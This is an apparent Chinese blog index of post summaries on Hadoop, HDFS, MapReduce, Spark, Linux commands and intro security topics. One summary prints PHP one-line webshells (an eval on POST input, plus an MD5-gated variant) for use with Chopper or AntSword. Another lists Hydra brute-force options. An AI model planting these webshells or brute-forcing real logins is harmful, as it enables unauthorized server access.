摘要: GGNB 阅读全文
posted @ 2022-05-03 22:41 GoodGad 阅读(132) 评论(0) 推荐(0) 编辑
摘要: MapReduce教程(一)基于MapReduce框架开发 1 MapReduce编程 1.1 MapReduce简介MapReduce是一种编程模型,用于大规模数据集(大于1TB)的并行运算,用于解决海量数据的计算问题。 MapReduce分成了两个部分: 1、映射(Mapping)对集合里的每个 阅读全文
posted @ 2021-03-12 19:49 GoodGad 阅读(403) 评论(0) 推荐(0) 编辑
摘要: Hadoop教程(三)HDFS文件系统Shell命令 1 Hadoop- Shell命令HDFS是存取数据的分布式文件系统,那么对HDFS的操作,就是文件系统的基本操作,比如文件的创建、修改、删除、修改权限等,文件夹的创建、删除、重命名等。对HDFS的操作命令类似于Linux的shell对文件的操作 阅读全文
posted @ 2021-03-12 19:47 GoodGad 阅读(687) 评论(0) 推荐(0) 编辑
摘要: Hadoop分布式集群部署安装在hadoop2.0中通常由两个NameNode组成,一个处于active状态,另一个处于standby状态。Active NameNode对外提供服务,而Standby NameNode则不对外提供服务,仅同步activenamenode的状态,以便能够在它失败时快速 阅读全文
posted @ 2021-03-12 19:46 GoodGad 阅读(270) 评论(0) 推荐(0) 编辑
摘要: Hadoop教程(四)HDFS文件系统JavaAPI接口 HDFS是存取数据的分布式文件系统,HDFS文件操作常有两种方式,一种是命令行方式,即Hadoop提供了一套与Linux文件命令类似的命令行工具。另一种是JavaAPI,即利用Hadoop的Java库,采用编程的方式操作HDFS的文件。 1 阅读全文
posted @ 2021-03-12 19:38 GoodGad 阅读(534) 评论(0) 推荐(0) 编辑
摘要: Hadoop教程(二)Hadoop伪集群环境安装 1 Hadoop伪分布式安装 1.1 相关下载1、JDK下载地址:jdk-8u66-linux-x64.tar.gz Linux安装JDK及环境变量配置,参见:http://blog.csdn.net/yuan_xw/article/details/ 阅读全文
posted @ 2021-03-12 19:34 GoodGad 阅读(108) 评论(0) 推荐(0) 编辑
摘要: 1 Hadoop入门教程Hadoop是Apache开源组织的一个分布式计算开源框架(http://hadoop.apache.org/),用java语言实现开源软件框架,实现在大量计算机组成的集群中对海量数据进行分布式计算。Hadoop框架中最核心设计就是:HDFS和MapReduce,HDFS实现 阅读全文
posted @ 2021-03-12 19:31 GoodGad 阅读(398) 评论(0) 推荐(0) 编辑
摘要: 一、 什么是大数据?大数据:指指数据集的大小超过了现有典型的数据库软件和工具的处理能力的数据。 二、大数据的特点1、海量化(Volume)数据量从TB到PB级别2、多样化(Variety)数据类型复杂,超过80%的数据是非结构化的3、快速化(Velocity)数据量在持续增加(两位数的年增长率)数据 阅读全文
posted @ 2021-03-01 11:18 GoodGad 阅读(711) 评论(0) 推荐(0) 编辑
摘要: 什么是大数据在互联网技术发展到至今阶段,大量日常,工作等事务产生的数据都已经信息化,人类产生的数据量相比以前有了爆炸式的增长,以前传统的数据处理技术已经无法胜任,需求催生技术,一套用来处理海量数据的技术应运而生,这就是发数据技术。 梳理海量数据的核心技术: 海量数据的储存(分布式)海量数据的运算(分 阅读全文
posted @ 2021-03-01 11:15 GoodGad 阅读(129) 评论(0) 推荐(0) 编辑
摘要: 第九课:Spark基础 第一节:什么是Spark?Spark的特点和结构 1、什么是Spark? Spark是一个针对大规模数据处理的快速通用引擎。 类似MapReduce,都进行数据的处理 2、Spark的特点: (1)基于Scala语言、Spark基于内存的计算 (2)快:基于内存 (3)易用: 阅读全文
posted @ 2021-03-01 10:23 GoodGad 阅读(45) 评论(0) 推荐(0) 编辑
摘要: 第八课:开发WordCount程序 依赖jar:/root/training/hadoop-2.4.1/share/hadoop/common/lib/root/training/hadoop-2.4.1/share/hadoop/common/ /root/training/hadoop-2.4. 阅读全文
posted @ 2021-03-01 10:21 GoodGad 阅读(61) 评论(0) 推荐(0) 编辑
摘要: 第七讲:MapReduce入门 第一节:回顾:MapReduce的编程模型 第二节:WordCount的流程分析 1、伪分布环境运行WordCount hadoop jar hadoop-mapreduce-examples-2.4.1.jar wordcount /data/input/data. 阅读全文
posted @ 2021-03-01 10:20 GoodGad 阅读(51) 评论(0) 推荐(0) 编辑
摘要: 第一节:HDFS的相关命令 -mkdir 在HDFS创建目录 hdfs dfs -mkdir /data -ls 查看当前目录 hdfs dfs -ls / -ls -R 查看目录与子目录 -put 上传一个文件 hdfs dfs -put data.txt /data/input -moveFro 阅读全文
posted @ 2021-03-01 10:18 GoodGad 阅读(59) 评论(0) 推荐(0) 编辑
摘要: 第五课:搭建Hadoop的环境 准备实验的环境:1、安装Linux、JDK2、配置主机名、免密码登录3、约定:安装目录:/root/training 安装:1、解压 : tar -zxvf hadoop-2.4.1.tar.gz -C /root/training/2、设置环境变量: vi ~/.b 阅读全文
posted @ 2021-03-01 10:16 GoodGad 阅读(52) 评论(0) 推荐(0) 编辑
摘要: 第四课:Hadoop的背景起源三 : BigTable > 大表 > NoSQL数据库:HBase 第一节:关系型数据库(Oracle、MySQL、SQL Server)的特点 1、什么是关系型数据库?基于关系模型(基于二维表)所提出的一种数据库 2、ER(Entity-Relationalship 阅读全文
posted @ 2021-03-01 10:15 GoodGad 阅读(59) 评论(0) 推荐(0) 编辑
摘要: 第三课:Hadoop的背景起源二:MapReduce 一、什么是大数据,本质? (1)数据的存储:分布式文件系统(分布式存储) > HDFS: Hadoop Distributed File System (2)数据的计算:分布式计算 二、如何解决大数据的计算?分布式计算 (1)什么是PageRan 阅读全文
posted @ 2021-03-01 10:13 GoodGad 阅读(55) 评论(0) 推荐(0) 编辑
摘要: 一、什么是大数据,本质? (1)数据的存储:分布式文件系统(分布式存储) > HDFS: Hadoop Distributed File System (2)数据的计算:分布式计算 二、如何解决大数据的存储? > 分布式文件系统(HDFS,来源于GFS) 举例:网盘 (1) GFS: 没有硬盘的,数 阅读全文
posted @ 2021-03-01 10:12 GoodGad 阅读(48) 评论(0) 推荐(0) 编辑
摘要: 第一节:为什么要学习大数据 1、目的:很好工作 2、对比:Java开发和大数据开发 第二节:什么是大数据? 举例: 1、商品推荐: 问题:(1)大量的订单如何存储? (2)大量的订单如何计算? 2、天气预报: 问题:(1)大量的天气数据如何存储?(2)大量的天气数据如何计算? 什么是大数据,本质? 阅读全文
posted @ 2021-03-01 10:10 GoodGad 阅读(127) 评论(0) 推荐(0) 编辑
摘要: 随着因特网的发展和网络经济的兴起, 越来越多的企业将服务或交易平台放到了互联网上, 而且这些网络应用服务和企业的营收关联得也更紧密, 甚至与企业的命运休戚相关, 但这些暴露在网上的资源往往防御能力比较薄弱, 加大硬件的投入并不能显著改善企业的安全水平, 在如此的瓶颈之下,企业对懂渗透测试的安全工程师 阅读全文
posted @ 2020-08-09 19:42 GoodGad 阅读(333) 评论(0) 推荐(0) 编辑
摘要: Python是一种解释型、面向对象、动态数据类型的高级程序设计语言,在许多领域都有应用,包括Web编程,脚本编写,科学计算和人工智能。 Python非常受Google,NASA,CIA和Disney等组织的欢迎和使用。 Python 的设计具有很强的可读性,相比其他语言它经常使用英文关键字,它具有比 阅读全文
posted @ 2020-08-09 19:40 GoodGad 阅读(258) 评论(0) 推荐(0) 编辑
摘要: 1.su命令 登录个人账户后,切换到超级管理员账户:su 切换到管理员账户后,切换回普通账户:su 【用户名】 2.cd命令 进入到linux根目录:cd / 进入到当前目录下的tiger2019文件夹: cd tiger2019 进入上级目录:cd .. 3.ls命令 显示当前文件夹下所有文件夹、 阅读全文
posted @ 2020-08-09 19:17 GoodGad 阅读(347) 评论(0) 推荐(0) 编辑
摘要: 1. 明确目标 l 确定范围:测试目标的范围、ip、域名、内外网、测试账户。 l 确定规则:能渗透到什么程度,所需要的时间、能否修改上传、能否提权、等等。 l 确定需求:web应用的漏洞、业务逻辑漏洞、人员权限管理漏洞、等等。 2. 信息收集、 l 方式:主动扫描,开放搜索等。 l 开放搜索:利用搜 阅读全文
posted @ 2020-08-09 19:07 GoodGad 阅读(209) 评论(0) 推荐(1) 编辑
摘要: 1、系统病毒 系统病毒的前缀为:Win32、PE、Win95、W32、W95等。这些病毒的一般公有的特性是可以感染windows操作系统的*.exe和*.dll文件,并通过这些文件进行传播。如CIH病毒。 2、蠕虫病毒 蠕虫病毒的前缀是:Worm。这种病毒的公有特性是通过网络或者系统漏洞进行传播,很 阅读全文
posted @ 2020-08-09 19:04 GoodGad 阅读(1173) 评论(0) 推荐(0) 编辑
摘要: 信息在商业,组织,军事行动等的运作中起着至关重要的作用。掌握在手中的信息可能导致业务损失或灾难性后果。为了保护通信,企业可以使用密码学来加密信息。密码学涉及将信息转换为非人类可读格式,反之亦然。 在本文中,我们将向您介绍密码学的世界,以及如何确保信息落入坏人之手。 本教程中涉及的主题 什么是加密? 阅读全文
posted @ 2020-08-09 19:02 GoodGad 阅读(690) 评论(0) 推荐(0) 编辑
摘要: cat /etc/passwd 可以查看所有用户的列表 w 可以查看当前活跃的用户列表 cat /etc/group 查看用户组 但是这样出来的结果一大堆,看起来嘿负责,于是继续google 找到个简明的layout命令 cat /etc/passwd|grep -v nologin|grep -v 阅读全文
posted @ 2020-08-09 18:58 GoodGad 阅读(81) 评论(0) 推荐(0) 编辑
摘要: 网络信息安全中遇到的各种攻击是防不胜防的,采取适当的防护措施就能有效地保护网络信息的安全,包括防火墙、入侵检测系统、漏洞扫描技术以及加密技术等多种 防护措施。而信息安全的本质就是要保护信息本身和信息系统在存储、传输中的完整性和保密性,保障不被攻击和篡改,上述的主动攻击、被动攻击和病毒袭击都会 造成信 阅读全文
posted @ 2020-08-09 18:55 GoodGad 阅读(787) 评论(0) 推荐(0) 编辑
摘要: STOP代码 蓝屏的原因 00000001 BSOD意味着APC状态指数存在不匹配。BSOD错误代码0x00000001也可能在同一蓝色屏幕上显示“APC_INDEX_MISMATCH”。 0x00000002 这种BSOD并不常见。BSOD错误代码0x00000002也可能在同一蓝色屏幕上显示“D 阅读全文
posted @ 2020-08-09 18:54 GoodGad 阅读(1995) 评论(0) 推荐(0) 编辑
摘要: 电脑是俗称,术语微型计算机,微型是根据个头叫的,也没啥尺寸标准,就是你知道的那个电子设备,比游戏机贵点,功能多点,玩游戏还未必有游戏机爽。而PC(Personal Computer),是英文个人电脑的缩写。 电脑感觉挺复杂,挺神秘,可是电脑里的所有部件,没有一个东西的工作原理不是地球人研究出来的,别 阅读全文
posted @ 2020-08-09 18:49 GoodGad 阅读(500) 评论(0) 推荐(0) 编辑
摘要: 大纲 你是否想过做一个存放自己作品的个人主页或者通过网站销售获得收入呢?实际上到了2018年,建站已经是一件非常简单的事情,零基础的人花费不到一天的时间就可以轻松完成,今天我们就来聊一聊新手怎么用WordPress进行快速建站。 一、需要做的准备工作和工具 1、网站域名:推荐使用com或者cn一年费 阅读全文
posted @ 2020-08-09 18:45 GoodGad 阅读(617) 评论(0) 推荐(0) 编辑
摘要: 一、 域名 又叫网址,有了域名不代表有网站,域名只是门牌号; 无论用.COM/.NET等国际域名还是.CN 国内域名,都是全球通用; 如何选域名服务商?建议选择CNNIC和ICANN双认证域名顶级注册商或星级服务机构。 二、 网站空间 也称为虚拟主机,用来存放网站的内容,就好譬如清水房; 怎么选? 阅读全文
posted @ 2020-08-09 18:42 GoodGad 阅读(316) 评论(0) 推荐(0) 编辑
摘要: 1、普通一句话: 1 2 3 <?php @eval($_POST[123456]); ?> *post后面中括号里面的内容是使用菜刀或蚁剑连接时的密码 2、防爆破一句话: 1 2 3 4 <?php substr(md5($_REQUEST['x']),28)=='6862'&&eval($_RE 阅读全文
posted @ 2020-08-09 18:40 GoodGad 阅读(8138) 评论(0) 推荐(0) 编辑
摘要: 这个也是backtrack下面很受欢迎的一个工具 参数详解: -R 根据上一次进度继续破解 -S 使用SSL协议连接 -s 指定端口 -l 指定用户名 -L 指定用户名字典(文件) -p 指定密码破解 -P 指定密码字典(文件) -e 空密码探测和指定用户密码探测(ns) -C 用户名可以用:分割( 阅读全文
posted @ 2020-08-09 18:34 GoodGad 阅读(5967) 评论(0) 推荐(0) 编辑
摘要: Linux-ls命令 LS命令使用方法: ls [-alrtAFR] [name...] 例(当前所在目录为Tiger用户文件夹中): ls 1.显示当前目录下所有文件(包括隐藏的文件) ls -a 2.显示文件夹下文件的文件名、文件形态、权限、拥有者、文件大小等详细信息 ls -l LS命令的参数 阅读全文
posted @ 2020-08-09 10:40 GoodGad 阅读(119) 评论(0) 推荐(0) 编辑
摘要: Linux-cd命令 命令: cd [绝对路径/相对路径] 相对路径示例: cd [文件夹名] 绝对路径示例: 绝对路径是以系统根目录/为起点的路径 在Windows中,绝对路径是以[盘符:\]开头的 在Linux中,是以/开头的 符号示例: ~ 代表当前登录用户的主目录 ~用户名 表示切换至指定用 阅读全文
posted @ 2020-08-09 10:39 GoodGad 阅读(71) 评论(0) 推荐(0) 编辑
摘要: Linux-pwd命令 pwd命令用于查看当前工作目录路径。 1:查看当前路径 pwd 2.查看当前的绝对路径(以/开始) pwd -P(P要大写) 现在看不出来,但是当你的路径很长的时候,只有-P才可以显示完整的路径 转自http://bbs.tiger2019.cn/?thread-170.ht 阅读全文
posted @ 2020-08-09 10:38 GoodGad 阅读(74) 评论(0) 推荐(0) 编辑
摘要: Linux-pwd命令 mkdir命令用于创建文件夹。 使用方法: mkdir [选项] [名字] 选项: -m: 对新建目录设置存取权限,也可以用 chmod 命令设置; -p: 可以是一个路径名称。此时若路径中的某些目录尚不存在,加上此选项后,系统将自动建立好那些尚不在的目录,即一次可以建立多个 阅读全文
posted @ 2020-08-09 10:37 GoodGad 阅读(78) 评论(0) 推荐(0) 编辑
摘要: Linux-rm命令 在日常的技术交流(扯皮)中,可能经常看到一些关于删库跑路的、还有rm -rf/*的表情包。如 咳咳,言归正传,这章讲的正是“删库”的命令。 删除命令:rm 使用方法: rm [选项] [文件] 例: rm ls 我们来尝试一下删除我们刚刚创建的那个name文件夹: 发现无法删除 阅读全文
posted @ 2020-08-09 10:36 GoodGad 阅读(268) 评论(0) 推荐(0) 编辑
摘要: Linux-clear命令 clear命令能够清空当前的终端内容。 用法: clear 阅读全文
posted @ 2020-08-09 10:34 GoodGad 阅读(55) 评论(0) 推荐(0) 编辑
摘要: 友情链接 fbitd.sxl.cn gjaqb.com gjaqb.com/china.php fbijsj.mysxl.cn gczxh.sxl.cn 阅读全文
posted @ 2020-08-09 09:48 GoodGad 阅读(87) 评论(0) 推荐(0) 编辑
Live2D